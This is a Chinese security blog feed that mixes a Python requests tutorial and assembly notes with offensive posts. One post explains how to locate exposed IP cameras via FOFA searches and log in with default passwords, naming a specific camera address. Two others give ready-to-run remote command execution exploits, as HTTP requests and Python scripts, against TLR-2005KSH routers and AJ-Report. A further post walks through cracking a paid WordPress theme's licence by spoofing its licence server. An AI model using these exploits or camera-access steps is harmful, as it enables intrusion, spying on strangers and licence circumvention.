查看摄像头实时画面 http://blog.luckyos.top/index.php/archives/84/ http://blog.luckyos.top/index.php/archives/84/ Thu, 01 Aug 2024 10:34:00 +0800 wflaaa {mtitle title="免责声明"/}

lucky博客的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!! 请遵循站内知识共享协议,出处:http://luckyxianyu.com/archives/cha-kan-she-xiang-tou-shi-shi-hua-mian;站点:luckyxianyu.com

用到工具

工具地址: 点击跳转
fofa地址: 点击跳转

使用

lzao3mg2.png

这是效果图,感兴趣的可以去看一看,真的很不错

当然还有一种适合装逼的方法那就是通过fofa来弱口令爆破摄像头
★ fofa搜索: 摄像头
可以得到以下资产

lzao5t5d.png
这里可以看到有很多干扰资产,就像一些涩情web啊,我们可以选择自己想要的摄像头来过滤一下
比如TP_LINK-摄像头

一般过滤以后都是可以查看画面的摄像头IP

如果没过滤的话一般有以下这些字眼的就是摄像头IP
比如:IPC IP Viewer这种字眼的就会是摄像头

我这里就随便找了个目标进行链接,通常情况下链接摄像头是会要账号密码的,但IP camera这个比较特殊,这款摄像头只有少部分的会设置访问账号密码

如果我们遇到需要账号密码的可以试着丢到爆破工具里面跑字典,也可以尝试一下这些账号密码

  • 第一种:
    user:admin

password:123456

  • 第二种:
    user:admin123

password:admin123

  • 第三种:
    user:admin

password:admin

  • 第四种:
    user:admin123

password:admin123456

这四种是手工弱口爆破比较常用的账号密码

连接方法,复制IP:端口进行访问,比如
109.60.136.32:8082

lzao7hk2.png
这个直接访问即可

]]>
1 http://blog.luckyos.top/index.php/archives/84/#comments http://blog.luckyos.top/index.php/feed/archives/84/
TLR-2005KSH路由器存在远程命令执行漏洞 http://blog.luckyos.top/index.php/archives/81/ http://blog.luckyos.top/index.php/archives/81/ Thu, 01 Aug 2024 10:29:00 +0800 wflaaa {mtitle title="免责声明"/}

技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!

前言

TLR-2005KSH路由器存在远程命令执行漏洞,攻击者可以通过该漏洞获取服务器权限

影响版本

TLR-2005Ksh 1.0.0
TLR-2005Ksh 1.1.4

佛法语法

FoFa:title="Login to TLR-2005KSH
fofa

资产详细

lzankosk.png

登录界面

lzanmy7o.png

EXP:


GET /cgi-bin/admin.cgi?Command=sysCommand&Cmd=你要执行的命令 HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0 OS/10.0.22631
Connection: close
Accept-Encoding: gzip, deflate, br

执行命令是空格要用空格符,上一篇文章有介绍

pythonpoc

import requests

# 用户输入的 IP 地址
user_ip = input("请输入 IP 地址: ")

# API 的 URL,使用格式化字符串替换 IP
url = f'http://{user_ip}/cgi-bin/admin.cgi?Command=sysCommand&Cmd=ifconfig'

# 请求头
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0 OS/10.0.22631',
    'Connection': 'close',
    'Accept-Encoding': 'gzip, deflate, br'
}

# 发送 GET 请求
response = requests.get(url, headers=headers)

# 输出响应内容
print("状态码:", response.status_code)
print("响应内容:", response.text)
]]>
0 http://blog.luckyos.top/index.php/archives/81/#comments http://blog.luckyos.top/index.php/feed/archives/81/
AJ-Report开源数据大屏 verification;swagger-ui 远程命令执行漏洞 http://blog.luckyos.top/index.php/archives/80/ http://blog.luckyos.top/index.php/archives/80/ Thu, 01 Aug 2024 10:01:00 +0800 wflaaa {mtitle title="漏洞复现"/}

fofa搜索语法
 FOFA:title="AJ-Report"
fofa

poc

POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder("id").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

pythonpoc

import requests
import json

user_input = input("请输入要执行的命令: ")
# 这里你可以进行修改,做个批量
url = '你的url/dataSetParam/verification;swagger-ui/'

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'zh-CN,zh;q=0.9',
    'Content-Type': 'application/json;charset=UTF-8',
    'Connection': 'close'
}


data = {
    "ParamName": "",
    "paramDesc": "",
    "paramType": "",
    "sampleItem": "1",
    "mandatory": True,
    "requiredFlag": 1,
    "validationRules": f"function verification(data){{a = new java.lang.ProcessBuilder(\"{user_input}\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){{ss+=line}};return ss;}}"
}


response = requests.post(url, headers=headers, data=json.dumps(data))

print("状态码:", response.status_code)
print("响应内容:", response.text)

这里命令执行是不能加空格的,否则会拦截
如何执行空格命令,我们用特殊字符来代替
空格 == %20
实例:
 ls -l == ls%20-l

]]>
0 http://blog.luckyos.top/index.php/archives/80/#comments http://blog.luckyos.top/index.php/feed/archives/80/
python的requests模块详细笔记 http://blog.luckyos.top/index.php/archives/64/ http://blog.luckyos.top/index.php/archives/64/ Tue, 04 Jun 2024 11:04:00 +0800 wflaaa 学习爬虫第一步认识python。了解python,了解响应,模块

模块说明:requests是使用Apache2 licensed 许可证的HTTP库,用python编写,比urllib2模块更简洁。Request支持HTTP连接保持和连接池,支持使用cookie保持会话,支持文件上传,支持自动响应内容的编码,支持国际化的URL和POST数据自动编码。在python内置模块的基础上进行了高度的封装,从而使得python进行网络请求时,变得人性化,使用Requests可以轻而易举的完成浏览器可有的任何操作。现代,国际化,友好。requests会自动实现持久连接keep-alive

第一步安装

这里需要配置requests,至于怎么安装,这里用到python的pip

pip install requests

第二步导入模块

在python编辑中需要导入模块

import requests

ipython

发送请求的简洁

示例代码:获取一个网页(个人github)

import requests
 
r = requests.get('github链接')       # 最基本的不带参数的get请求
r1 = requests.get(url='http://dict.baidu.com/s', params={'wd': 'python'})      # 带参数的get请求
requests.get(‘[url]https://github.com/timeline.json[/url]’)                                # GET请求
requests.post(“[url]http://httpbin.org/post[/url]”)                                        # POST请求
requests.put(“[url]http://httpbin.org/put[/url]”)                                          # PUT请求
requests.delete(“[url]http://httpbin.org/delete[/url]”)                                    # DELETE请求
requests.head(“[url]http://httpbin.org/get[/url]”)                                         # HEAD请求
requests.options(“[url]http://httpbin.org/get[/url]” )                                     # OPTIONS请求

为url传递参数

url_params = {'key':'value'}       #    字典传递参数,如果值为None的键不会被添加到url中
r = requests.get('your url',params = url_params)
print(r.url)
  your url?key=value
响应内容
r.encoding                       #获取当前的编码
r.encoding = 'utf-8'             #设置编码
r.text                           #以encoding解析返回内容。字符串方式的响应体,会自动根据响应头部的字符编码进行解码。
r.content                        #以字节形式(二进制)返回。字节方式的响应体,会自动为你解码 gzip 和 deflate 压缩。
 
r.headers                        #以字典对象存储服务器响应头,但是这个字典比较特殊,字典键不区分大小写,若键不存在则返回None
 
r.status_code                     #响应状态码
r.raw                             #返回原始响应体,也就是 urllib 的 response 对象,使用 r.raw.read()   
r.ok                              # 查看r.ok的布尔值便可以知道是否登陆成功
 #*特殊方法*#
r.json()                         #Requests中内置的JSON解码器,以json形式返回,前提返回的内容确保是json格式的,不然解析出错会抛异常
r.raise_for_status()             #失败请求(非200响应)抛出异常
post发送json请求:
import requests
import json

r = requests.post('https://api.github.com/some/endpoint', data=json.dumps({'some': 'data'}))
print(r.json())
定制头和cookie信息
header = {'user-agent': 'my-app/0.0.1''}
cookie = {'key':'value'}
 r = requests.get/post('your url',headers=header,cookies=cookie)
 data = {'some': 'data'}
headers = {'content-type': 'application/json',
           'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0'}
  
r = requests.post('https://api.github.com/some/endpoint', data=data, headers=headers)
print(r.text)

这里可以用burp的一个小插件一键生成,在网络安全行业中,爬虫是非常常用的,配合抓包工具

响应状态码

使用requests方法后,会返回一个response对象,其存储了服务器响应的内容,如上实例中已经提到的 r.text、r.status_code……
获取文本方式的响应体实例:当你访问 r.text 之时,会使用其响应的文本编码进行解码,并且你可以修改其编码让 r.text 使用自定义的编码进行解码。

r = requests.get('http://www.itwhy.org')
print(r.text, '\n{}\n'.format('*'*79), r.encoding)
r.encoding = 'GBK'
print(r.text, '\n{}\n'.format('*'*79), r.encoding)
#下面是代码实例
import requests
 
r = requests.get('https://github.com/Ranxf')       # 最基本的不带参数的get请求
print(r.status_code)                               # 获取返回状态
r1 = requests.get(url='http://dict.baidu.com/s', params={'wd': 'python'})      # 带参数的get请求
print(r1.url)
print(r1.text)        # 打印解码后的返回数据
#运行结果
/usr/bin/python3.5 /home/rxf/python3_1000/1000/python3_server/python3_requests/demo1.py
200
[url]http://dict.baidu.com/s?wd=python[/url]
…………
 
Process finished with exit code 0
#如果返回结果不是200,可以修改代码,使用r.raise_for_status() 抛出异常
响应
r.headers                                  #返回字典类型,头信息
r.requests.headers                         #返回发送到服务器的头信息
r.cookies                                  #返回cookie
r.history                                  #返回重定向信息,当然可以在请求是加上allow_redirects = false 阻止重定向
超时
r = requests.get('url',timeout=1)           #设置秒数超时,仅对于连接有效
会话对象,能够跨请求保持某些参数
s = requests.Session()
s.auth = ('auth','passwd')
s.headers = {'key':'value'}
r = s.get('url')
r1 = s.get('url1')
代{过}{滤}理
proxies = {'http':'ip1','https':'ip2' }
requests.get('url',proxies=proxies)

汇总如下:

{hide}

HTTP请求类型

get类型

r = requests.get('https://github.com/timeline.json')

post类型

r = requests.post("http://m.ctrip.com/post")

put类型

r = requests.put("http://m.ctrip.com/put")

delete类型

r = requests.delete("http://m.ctrip.com/delete")

head类型

r = requests.head("http://m.ctrip.com/head")

options类型

r = requests.options("http://m.ctrip.com/get")

获取响应内容

print(r.content) #以字节的方式去显示,中文显示为字符
print(r.text) #以文本的方式去显示

URL传递参数

payload = {'keyword': '香港', 'salecityid': '2'}
r = requests.get("http://m.ctrip.com/webapp/tourvisa/visa_list", params=payload)
print(r.url) #示例为[url]http://m.ctrip.com/webapp/tourvisa/visa_list?salecityid=2&keyword=[/url]香港

获取/修改网页编码

r = requests.get('https://github.com/timeline.json')
print (r.encoding)

json处理

r = requests.get('https://github.com/timeline.json')
print(r.json()) # 需要先import json  

定制请求头

url = 'http://m.ctrip.com'
headers = {'User-Agent' : 'Mozilla/5.0 (Linux; Android 4.2.1; en-us; Nexus 4 Build/JOP40D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Mobile Safari/535.19'}
r = requests.post(url, headers=headers)
print (r.request.headers)

复杂post请求

url = 'http://m.ctrip.com'
payload = {'some': 'data'}
r = requests.post(url, data=json.dumps(payload)) #如果传递的payload是string而不是dict,需要先调用dumps方法格式化一下

post多部分编码文件

url = 'http://m.ctrip.com'
files = {'file': open('report.xls', 'rb')}
r = requests.post(url, files=files)

响应状态码

r = requests.get('http://m.ctrip.com')
print(r.status_code)

响应头

r = requests.get('http://m.ctrip.com')
print (r.headers)
print (r.headers['Content-Type'])
print (r.headers.get('content-type')) #访问响应头部分内容的两种方式

Cookies

url = 'http://example.com/some/cookie/setting/url'
r = requests.get(url)
r.cookies['example_cookie_name']    #读取cookies
     
url = 'http://m.ctrip.com/cookies'
cookies = dict(cookies_are='working')
r = requests.get(url, cookies=cookies) #发送cookies

设置超时时间

r = requests.get('http://m.ctrip.com', timeout=0.001)

设置访问代{过}{滤}理

proxies = {
           "http": "http://10.10.1.10:3128",
           "https": "http://10.10.1.100:4444",
          }
r = requests.get('http://m.ctrip.com', proxies=proxies)
 

如果代{过}{滤}理需要用户名和密码,则需要这样:

proxies = {
    "http": "http://user:pass@10.10.1.10:3128/",
}

GET请求代码示例

1、无参数实例

import requests
 
ret = requests.get('https://github.com/timeline.json')
 
print(ret.url)
print(ret.text)

2、有参数实例

import requests
 
payload = {'key1': 'value1', 'key2': 'value2'}
ret = requests.get("http://httpbin.org/get", params=payload)
 
print(ret.url)
print(ret.text)

POST请求代码示例

1、基本POST实例

import requests
   
payload = {'key1': 'value1', 'key2': 'value2'}
ret = requests.post("http://httpbin.org/post", data=payload)
   
print(ret.text)

2、发送请求头和数据实例

import requests
import json
   
url = 'https://api.github.com/some/endpoint'
payload = {'some': 'data'}
headers = {'content-type': 'application/json'}
   
ret = requests.post(url, data=json.dumps(payload), headers=headers)
   
print(ret.text)
print(ret.cookies)

请求参数

def request(method, url, **kwargs):
    """Constructs and sends a :class:`Request <Request>`.
 
    :param method: method for the new :class:`Request` object.
    :param url: URL for the new :class:`Request` object.
    :param params: (optional) Dictionary or bytes to be sent in the query string for the :class:`Request`.
    :param data: (optional) Dictionary, bytes, or file-like object to send in the body of the :class:`Request`.
    :param json: (optional) json data to send in the body of the :class:`Request`.
    :param headers: (optional) Dictionary of HTTP Headers to send with the :class:`Request`.
    :param cookies: (optional) Dict or CookieJar object to send with the :class:`Request`.
    :param files: (optional) Dictionary of ``'name': file-like-objects`` (or ``{'name': file-tuple}``) for multipart encoding upload.
        ``file-tuple`` can be a 2-tuple ``('filename', fileobj)``, 3-tuple ``('filename', fileobj, 'content_type')``
        or a 4-tuple ``('filename', fileobj, 'content_type', custom_headers)``, where ``'content-type'`` is a string
        defining the content type of the given file and ``custom_headers`` a dict-like object containing additional headers
        to add for the file.
    :param auth: (optional) Auth tuple to enable Basic/Digest/Custom HTTP Auth.
    :param timeout: (optional) How long to wait for the server to send data
        before giving up, as a float, or a :ref:`(connect timeout, read
        timeout) <timeouts>` tuple.
    :type timeout: float or tuple
    :param allow_redirects: (optional) Boolean. Set to True if POST/PUT/DELETE redirect following is allowed.
    :type allow_redirects: bool
    :param proxies: (optional) Dictionary mapping protocol to the URL of the proxy.
    :param verify: (optional) whether the SSL cert will be verified. A CA_BUNDLE path can also be provided. Defaults to ``True``.
    :param stream: (optional) if ``False``, the response content will be immediately downloaded.
    :param cert: (optional) if String, path to ssl client cert file (.pem). If Tuple, ('cert', 'key') pair.
    :return: :class:`Response <Response>` object
    :rtype: requests.Response
 
    Usage::
 
      >>> import requests
      >>> req = requests.request('GET', 'http://httpbin.org/get')
      <Response [200]>

参数示例代码

def param_method_url():
    # requests.request(method='get', url='http://127.0.0.1:8000/test/')
    # requests.request(method='post', url='http://127.0.0.1:8000/test/')
    pass
 
 
def param_param():
    # - 可以是字典
    # - 可以是字符串
    # - 可以是字节(ascii编码以内)
 
    # requests.request(method='get',
    # url='http://127.0.0.1:8000/test/',
    # params={'k1': 'v1', 'k2': '水电费'})
 
    # requests.request(method='get',
    # url='http://127.0.0.1:8000/test/',
    # params="k1=v1&k2=水电费&k3=v3&k3=vv3")
 
    # requests.request(method='get',
    # url='http://127.0.0.1:8000/test/',
    # params=bytes("k1=v1&k2=k2&k3=v3&k3=vv3", encoding='utf8'))
 
    # 错误
    # requests.request(method='get',
    # url='http://127.0.0.1:8000/test/',
    # params=bytes("k1=v1&k2=水电费&k3=v3&k3=vv3", encoding='utf8'))
    pass
 
 
def param_data():
    # 可以是字典
    # 可以是字符串
    # 可以是字节
    # 可以是文件对象
 
    # requests.request(method='POST',
    # url='http://127.0.0.1:8000/test/',
    # data={'k1': 'v1', 'k2': '水电费'})
 
    # requests.request(method='POST',
    # url='http://127.0.0.1:8000/test/',
    # data="k1=v1; k2=v2; k3=v3; k3=v4"
    # )
 
    # requests.request(method='POST',
    # url='http://127.0.0.1:8000/test/',
    # data="k1=v1;k2=v2;k3=v3;k3=v4",
    # headers={'Content-Type': 'application/x-www-form-urlencoded'}
    # )
 
    # requests.request(method='POST',
    # url='http://127.0.0.1:8000/test/',
    # data=open('data_file.py', mode='r', encoding='utf-8'), # 文件内容是:k1=v1;k2=v2;k3=v3;k3=v4
    # headers={'Content-Type': 'application/x-www-form-urlencoded'}
    # )
    pass
 
 
def param_json():
    # 将json中对应的数据进行序列化成一个字符串,json.dumps(...)
    # 然后发送到服务器端的body中,并且Content-Type是 {'Content-Type': 'application/json'}
    requests.request(method='POST',
                     url='http://127.0.0.1:8000/test/',
                     json={'k1': 'v1', 'k2': '水电费'})
 
 
def param_headers():
    # 发送请求头到服务器端
    requests.request(method='POST',
                     url='http://127.0.0.1:8000/test/',
                     json={'k1': 'v1', 'k2': '水电费'},
                     headers={'Content-Type': 'application/x-www-form-urlencoded'}
                     )
 
 
def param_cookies():
    # 发送Cookie到服务器端
    requests.request(method='POST',
                     url='http://127.0.0.1:8000/test/',
                     data={'k1': 'v1', 'k2': 'v2'},
                     cookies={'cook1': 'value1'},
                     )
    # 也可以使用CookieJar(字典形式就是在此基础上封装)
    from http.cookiejar import CookieJar
    from http.cookiejar import Cookie
 
    obj = CookieJar()
    obj.set_cookie(Cookie(version=0, name='c1', value='v1', port=None, domain='', path='/', secure=False, expires=None,
                          discard=True, comment=None, comment_url=None, rest={'HttpOnly': None}, rfc2109=False,
                          port_specified=False, domain_specified=False, domain_initial_dot=False, path_specified=False)
                   )
    requests.request(method='POST',
                     url='http://127.0.0.1:8000/test/',
                     data={'k1': 'v1', 'k2': 'v2'},
                     cookies=obj)
 
 
def param_files():
    # 发送文件
    # file_dict = {
    # 'f1': open('readme', 'rb')
    # }
    # requests.request(method='POST',
    # url='http://127.0.0.1:8000/test/',
    # files=file_dict)
 
    # 发送文件,定制文件名
    # file_dict = {
    # 'f1': ('test.txt', open('readme', 'rb'))
    # }
    # requests.request(method='POST',
    # url='http://127.0.0.1:8000/test/',
    # files=file_dict)
 
    # 发送文件,定制文件名
    # file_dict = {
    # 'f1': ('test.txt', "hahsfaksfa9kasdjflaksdjf")
    # }
    # requests.request(method='POST',
    # url='http://127.0.0.1:8000/test/',
    # files=file_dict)
 
    # 发送文件,定制文件名
    # file_dict = {
    #     'f1': ('test.txt', "hahsfaksfa9kasdjflaksdjf", 'application/text', {'k1': '0'})
    # }
    # requests.request(method='POST',
    #                  url='http://127.0.0.1:8000/test/',
    #                  files=file_dict)
 
    pass
 
 
def param_auth():
    from requests.auth import HTTPBasicAuth, HTTPDigestAuth
 
    ret = requests.get('https://api.github.com/user', auth=HTTPBasicAuth('wupeiqi', 'sdfasdfasdf'))
    print(ret.text)
 
    # ret = requests.get('http://192.168.1.1',
    # auth=HTTPBasicAuth('admin', 'admin'))
    # ret.encoding = 'gbk'
    # print(ret.text)
 
    # ret = requests.get('http://httpbin.org/digest-auth/auth/user/pass', auth=HTTPDigestAuth('user', 'pass'))
    # print(ret)
    #
 
 
def param_timeout():
    # ret = requests.get('http://google.com/', timeout=1)
    # print(ret)
 
    # ret = requests.get('http://google.com/', timeout=(5, 1))
    # print(ret)
    pass
 
 
def param_allow_redirects():
    ret = requests.get('http://127.0.0.1:8000/test/', allow_redirects=False)
    print(ret.text)
 
 
def param_proxies():
    # proxies = {
    # "http": "61.172.249.96:80",
    # "https": "http://61.185.219.126:3128",
    # }
 
    # proxies = {'http://10.20.1.128': 'http://10.10.1.10:5323'}
 
    # ret = requests.get("http://www.proxy360.cn/Proxy", proxies=proxies)
    # print(ret.headers)
 
 
    # from requests.auth import HTTPProxyAuth
    #
    # proxyDict = {
    # 'http': '77.75.105.165',
    # 'https': '77.75.105.165'
    # }
    # auth = HTTPProxyAuth('username', 'mypassword')
    #
    # r = requests.get("http://www.google.com", proxies=proxyDict, auth=auth)
    # print(r.text)
 
    pass
 
 
def param_stream():
    ret = requests.get('http://127.0.0.1:8000/test/', stream=True)
    print(ret.content)
    ret.close()
 
    # from contextlib import closing
    # with closing(requests.get('http://httpbin.org/get', stream=True)) as r:
    # # 在此处理响应。
    # for i in r.iter_content():
    # print(i)
 
 
def requests_session():
    import requests
 
    session = requests.Session()
 
    ### 1、首先登陆任何页面,获取cookie
 
    i1 = session.get(url="http://dig.chouti.com/help/service")
 
    ### 2、用户登陆,携带上一次的cookie,后台对cookie中的 gpsd 进行授权
    i2 = session.post(
        url="http://dig.chouti.com/login",
        data={
            'phone': "8615131255089",
            'password': "xxxxxx",
            'oneMonth': ""
        }
    )
    i3 = session.post(
        url="http://dig.chouti.com/link/vote?linksId=8589623",
    )
    print(i3.text)

这里我准备了一个小实例

{cloud title="爬虫实例" type="default" url="http://101.237.34.242:12306/lucky/python/%E7%88%AC%E8%99%AB.py" password=""/}

{/hide}

]]>
1 http://blog.luckyos.top/index.php/archives/64/#comments http://blog.luckyos.top/index.php/feed/archives/64/
反汇编c语言 http://blog.luckyos.top/index.php/archives/60/ http://blog.luckyos.top/index.php/archives/60/ Thu, 09 May 2024 19:59:00 +0800 wflaaa {mtitle title="jcc指令"/}

jcczhil



xor eax, eax

1 ^ 2 = 3

3 ^ 2 = 1

1 ^ 1 = 0

mov eax, 0

ret 改变 eip 寄存器的值, mov eip, [esp] add esp,4
eip: 当前程序代码运行的位置 永远指向

`写代码时

调用函数 一般有三个规则

参数传递的不同样

push xx 到堆栈中
前几个参数放到寄存器中,这样可以加快调用, fastcall

平栈 方式不通

内平栈  ret xxx
外平栈 ret结束之后, add esp,xxx

_cdecl

call xxx
add esp,xxx

sub 等价 cmp
但 sub 会产生实际的减法效果。
cmp 只会影响 eflags 寄存器

jge
根据 eflags 寄存器来 判断是否需要进行跳转。

jcc 指令

for()

for 循环的 伪代码表现形式

初始化代码:

i = 0;

jmp 比较代码

累加的代码:

i++;

比较代码:

i < 50;
jcc 比较时,会反过来比较。 因为汇编中若满足条件则直接跳出循环。 而在c语言中,若满足条件,则继续执行。故相反。

jcc 结束循环

执行 for 循环体:

jmp 累加的代码

结束循环:

do {
    // 循环体

} while (exp);

循环开始:

循环体代码:

jcc 循环开始

while(exp)
{

}

循环开始:
比较 与for循环一样,判断条件在汇编中与c语言是反过来的。
jcc 循环结束

循环体代码

jmp 循环开始
循环结束

if()
{
if 代码
}
else if(xx)
{
else if 代码
}
else{
else 代码
}

if elseif else 伪代码形式

jcc elseiflab
jcc elseiflab

if代码
jmp 判断结束

elseiflab:

jcc elselab
elseif 代码
jmp 判断结束

elselab:
else代码

switch 优化

多个 case 标签 并且连续 小表,根据表来进行快速跳转。

`

我在网上找了个教学书有兴趣的可以和我一起学习

{cloud title="教学书" type="default" url="http://pan.luckybs.top/down.php/9b0e474e6ab840af7c744d32e273f1a2.pdf" password=""/}

]]>
0 http://blog.luckyos.top/index.php/archives/60/#comments http://blog.luckyos.top/index.php/feed/archives/60/
子比搭建教程 http://blog.luckyos.top/index.php/archives/41/ http://blog.luckyos.top/index.php/archives/41/ Mon, 18 Mar 2024 21:50:00 +0800 wflaaa zibie
{mtitle title="子比教程"/}

实现准备

  1. 香港或国内服务器
  2. 域名或者用ip
  3. 子比源码

服务器

打开量子云官网 点击跳转
选购服务器,买我推荐的这款就行,比较方便,而且不用备案
量子云

买好服务器,等待服务器创建完成,完成之后复制ip打开终端,以下是命令

#按住win键和r键输入cmd
输入 ssh@你服务器的ip
然后输入你的密码,进入服务器
输入bt 14,查看信息,在浏览器输入那个外网地址
账号密码输进去就行了

进入会让你绑定手机号什么的,自己去宝塔官网注册一个,然后安装环境,这里我用的apache
php用7.4,其他默认就行
然后按照下图
bt
1
2
然后保存你的信息,马上安装会用到

点击你的网站,然后点击那个ssl,申请一个证书
然后把https打开

我们访问刚才的域名或者ip进行安装
3
这里根据刚才给你的信息填写
4
这里你直接随便填,看着填就行
5
然后登录访问后台
在wordpress后台上传主题(zibll-V7.6),此时,7.6版本默认已经授权完毕
6
回到宝塔绑定 api.zibll.com 域名 并上传子比主题V7.6破解文件里面的 index.php 文件
设置一下伪静态,和ssl
伪静态破解文件里面有
这个ssl用你之前申请的那个
回到服务器哪里/etc 找到 hosts文件并打开,最后一行添加 127.0.0.1 api.zibll.com
代码如下

cd /etc
ls
nano hosts
#在最后一行加上127.0.0.1 api.zibll.com

然后在api.zibll.com这个站点的文件夹内上传免受权文件,然后解压就行
最后回到网站哪里的zibi主题设置里面主题&授权哪里点击获取授权,至此,教程结束

下载破解文件

{cloud title="破解文件" type="default" url="http://pan.luckybs.top/down.php/b96da4c346dd26f6a645f0305ff55034.rar" password=""/}

不会的加360859569准备好钱和todesk

]]>
1 http://blog.luckyos.top/index.php/archives/41/#comments http://blog.luckyos.top/index.php/feed/archives/41/
This page loaded in 0.001975 seconds